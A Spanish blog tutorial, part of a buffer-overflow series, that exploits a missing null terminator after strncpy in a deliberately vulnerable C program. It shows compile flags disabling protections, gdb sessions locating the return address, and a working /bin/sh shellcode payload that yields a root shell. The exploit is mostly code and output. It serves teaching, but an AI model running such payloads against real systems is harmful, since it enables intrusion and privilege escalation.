Esta pagina se ve mejor con JavaScript habilitado

BoF second round, exploiting parte 3

 ·  🎃 kr0m

En este artículo veremos como es posible aprovechar un error de programación que a simple vista no es detectable, se trata de la copia de datos introducidos por un usuario en una variable, al fin y al cabo es un bufferoverflow mas pero resulta curioso como un software que parecía a prueba de bombas termina suponiendo un problema de seguridad para el sistema.

El código a analizar es el siguiente:

vi overrun3.c

#include <stdio.h>
#include <string.h>

void func(char *str1, char *str2){
    char buff_a[32];
    char buff_b[24];
    char buff_c[32];
    printf("buff_a is stored at %p.", &buff_a);
    printf("buff_b is stored at %p.", &buff_b);
    printf("buff_c is stored at %p.", &buff_c);
    strncpy(buff_c, str1, sizeof(buff_c));
    strncpy(buff_b, str2, sizeof(buff_b)-1);
    strcpy(buff_a, buff_c);
}

int main(int argc, char *argv[]){
    if ( argc < 3 ){
        printf("Uso: %s CADENA-1 CADENA-2", argv[0]);
        exit(0);
    }
    
    func(argv[1], argv[2]);
    return 0;
}

Como podemos observar he metido código de debug en el que se muestra la dirección donde se ha almacenado cada una de las variables, también cabe destacar que en buff_c y buff_b se controla la longitud de los datos a copiar en estas variables mediante strncpy(buff_c, str1, sizeof(buff_c)).

Aunque a simple vista no sea obvio, existe un problema en el código anterior, y es que las variables en RAM se delimitan por el carácter \0, si la entrada en una de las variables machaca este delimitador la variable terminaría donde se encuentre el próximo \0.

Podriamos introducir una entrada muy larga como argv[1], esta sería copiada por strncpy(buff_c, str1, sizeof(buff_c)), con lo que el delimitador \0 desaparecería, quedando el final de buff_c en el final de de buff_b, con buff_b no hay problema ya que la copia de los datos se realiza del siguiente modo, strncpy(buff_b, str2, sizeof(buff_b)-1), al copiar buff_c en buff_a se estaría copiando buff_c+buff_b ya que es donde se encuentra el primer delimitador \0. De este modo podemos introducir nuestra shellcode en buff_c, sobreescribir el EIP con esta dirección y de este modo obtener un poco de magia.

Estado normal:

Sin delimitador:

Lo primero será compilar nuestro software:

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack overrun3.c -o overrun3

Generamos un coredump para analizarlo posteriormente utilizando GDB:

kr0m@reversedbox:$ ulimit -c unlimited
kr0m@reversedbox:
$ ./overrun3 perl -e 'print "A"x48' perl -e 'print "B"x48'

 buff_a is stored at 0xbffff710.
 buff_b is stored at 0xbffff6f8.
 buff_c is stored at 0xbffff6d8.
Violación de segmento (`core' generado)

Averiguamos la dirección donde comienza buff_c, a pesar de tener el printf para asegurarnos vamos a localizar nosotros la dirección de forma manual:

kr0m@reversedbox:~$ gdb -q -c core

[New LWP 4243]
Core was generated by `./overrun3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBBBBB'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()

El EIP ha sido cobreescrito con BBBBB…, afinamos un poco mas:

kr0m@reversedbox:~$ ./overrun3 perl -e 'print "A"x48' perl -e 'print "AAAABBBBCCCCDDDDEEEE"'

 buff_a is stored at 0xbffff730.
 buff_b is stored at 0xbffff718.
 buff_c is stored at 0xbffff6f8.
Violación de segmento (`core' generado)
kr0m@reversedbox:~$ gdb -q -c core
[New LWP 4248]
Core was generated by `./overrun3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAABBBBCCCCDDDDEEE'.
Program terminated with signal 11, Segmentation fault.
#0 0x44444444 in ?? ()

El EIP está siendo sobreescrito con el valor de la DDDD, ahora metemos la shellcode en el primer parámetro de entrada y averiguamos la dirección de memoria donde se encuentra nuestra shellcode:

kr0m@reversedbox:~$ ./overrun3 perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x10' perl -e 'print "AAAABBBBCCCCDDDDEEEE"'

 buff_a is stored at 0xbffff740.
 buff_b is stored at 0xbffff728.
 buff_c is stored at 0xbffff708.
Violación de segmento (`core' generado)
kr0m@reversedbox:~$ gdb -q -c core
[New LWP 3820]
Core was generated by `./overrun3 1É1À1?
 Qh//shh/binã?AAAAAAAAAA AAAABBBBCCCCDDDDEEEE'.
Program terminated with signal 11, Segmentation fault.
#0 0x44444444 in ?? ()

Si miramos el contenido de la memoria en posiciones cercanas al ESP podemos distinguir nuestra shellcode:

(gdb) x/128x $esp-128

0xbffff6f0: 0xbffff740 0xbffff708 0x00000017 0xbffff7a4
0xbffff700: 0x08048230 0xbffff798 0xc031c931 0x0bb0d231
0xbffff710: 0x2f2f6851 0x2f686873 0x896e6962 0x4180cde3
0xbffff720: 0x41414141 0x41414141 0x41414141 0x42424242
(gdb) x/x 0xbffff708
0xbffff708: 0xc031c931

Volvemos a ejecutar el software pero esta vez sobreescribiremos el EIP con la dirección del inicio de la shellcode:

kr0m@reversedbox:~$ whoami

kr0m
kr0m@reversedbox:~$ ./overrun3 perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x10' perl -e 'print "AAAABBBBCCCCx08xf7xffxbf"'
 buff_a is stored at 0xbffff740.
 buff_b is stored at 0xbffff728.
 buff_c is stored at 0xbffff708.

#
whoami
root

NOTA: Si en algún momento dado tenemos dudas de si se está ejecutando nuestra shellcode podemos ejecutar una INT3 (0xCC) a modo de prueba así nos aseguramos de que las direcciones de memoria están calculadas correctamente y que el EIP ha sido sobreescrito con el valor correcto:

kr0m@reversedbox:~$ ./overrun3 perl -e 'print "xcc" . "A"x31' perl -e 'print "AAAABBBBCCCCx08xf7xffxbf"'
 buff_a is stored at 0xbffff740.
 buff_b is stored at 0xbffff728.
 buff_c is stored at 0xbffff708.
`trap' para punto de parada/seguimiento

En este artículo hemos aprendido como de peligroso puede llegar a ser no controlar la longitud de las entradas presentadas por el usuario, en este caso ha sido capaz de omitir el carácter

Si te ha gustado el artículo puedes invitarme a un RedBull aquí